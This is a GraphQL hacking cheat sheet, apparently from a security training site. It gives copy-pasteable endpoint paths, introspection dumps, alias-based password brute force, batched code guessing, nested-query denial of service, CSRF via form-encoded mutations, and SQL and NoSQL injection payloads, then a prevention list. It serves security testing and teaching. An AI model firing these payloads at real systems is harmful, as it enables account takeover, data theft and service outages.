GraphQL Hacking: The Complete Practical Guide
GraphQL Hacking Cheat Sheet
A dense, copy-pasteable GraphQL reference: endpoint discovery, introspection, field suggestions, argument injection, batching, CSRF, DoS, and prevention.
Published
Every GraphQL attack query in one place. The core moves never change: find the single endpoint, map the schema, then abuse arguments, batching, CSRF, or uneven authorization. For the how and why behind each section, start at the GraphQL guide. Lock it in on a free live target.
Endpoints to probe
/graphql /graphiql /graphql/console
/v1/graphql /api/graphql /graphql/v1
/query /index.php?graphql /.netlify/functions/graphql
# a GraphiQL / Playground / Apollo Sandbox UI in the browser = introspection is probably onConfirm it is GraphQL
# a bare query; a GraphQL data/errors body (not a 404) confirms the endpoint
{ __typename }Full introspection query (schema dump)
{
__schema {
queryType { name }
mutationType { fields { name args { name type { name kind ofType { name kind } } } } }
subscriptionType { name }
types { name kind fields { name type { name kind ofType { name kind } } } }
}
}Single-type probe (targeted)
{ __type(name: "User") { name fields { name type { name kind } } } }Suggestions, when introspection is disabled
# guess a field wrong; a graphql-js server leaks the real one
{ user { emial } }
# -> Cannot query field "emial" on type "User". Did you mean "email"?
# iterate close guesses -> rebuild the schema. Tool: Clairvoyance. (JS/Apollo stacks; may be off elsewhere.)Alias brute force (many tries, one request)
mutation {
a: login(user:"admin", pass:"123456") { token }
b: login(user:"admin", pass:"password"){ token }
c: login(user:"admin", pass:"admin") { token }
# ...hundreds of aliases, ONE HTTP request -> per-request rate limits do nothing
}Query batching (array of operations, when enabled)
[
{"query":"mutation{ redeem(code:\"AAAA\"){ ok } }"},
{"query":"mutation{ redeem(code:\"AAAB\"){ ok } }"},
{"query":"mutation{ redeem(code:\"AAAC\"){ ok } }"}
]# array batching must be enabled server-side. Apollo Server 4 = OFF by default
# (needs allowBatchedHttpRequests:true); Apollo Server 3 = ON. Aliasing is the reliable form.DoS, deeply nested / circular query
{ posts { author { posts { author { posts { author { id } } } } } } }
# needs a circular schema (posts->author->posts) AND no depth/cost limit -> resource exhaustionCSRF via GET / form-encoded body
# application/json triggers a CORS preflight, so a normal JSON POST is NOT cross-site CSRF-able.
# simple (no-preflight) content types that reopen CSRF:
# application/x-www-form-urlencoded , multipart/form-data , text/plain , GET
# form-encoded POST (reliable for mutations):
Content-Type: application/x-www-form-urlencoded
query=mutation{changeEmail(email:"[email protected]"){ok}}
# GET (spec says GET = queries only; mutations over GET need a lax/misconfigured server):
GET /graphql?query=query%7Bme%7Bid%7D%7DInjection through arguments (resolver passthrough)
# SQLi through a String arg (the resolver concatenated it)
{ products(category: "x' OR '1'='1") { id name } }# NoSQL operator injection: loose JSON arg spread into Mongo ($ne reaches Mongo untouched; variables JSON is opaque to GraphQL)
{"query":"query($f: JSON!){ users(filter:$f){ id token } }","variables":{"f":{"password":{"$ne":null}}}}
# if the arg is a typed input object, the field may instead be named "ne" and the resolver maps it to $ne# GraphQL validated the TYPE, not the VALUE. The bug is in the resolver, not in GraphQL.Prevention
- Disable introspection and field/"Did you mean" suggestions in production (reconnaissance only, not a boundary).
- Enforce query depth limits and cost/complexity analysis. Cap aliases and batch size, disable array batching if unused.
- Authorize inside every resolver against the authenticated principal, on nested edges, not just top-level fields.
- Parameterize all resolver database access. Validate values, not just types. Reject unexpected input-object keys.
- Require
application/json, reject GET for mutations, apply CSRF protection, setSameSitecookies. - Rate-limit by operation and resolved work, not by HTTP request. Prefer persisted / allow-listed queries.
Full detail in preventing GraphQL attacks. For the authorization class, see broken access control.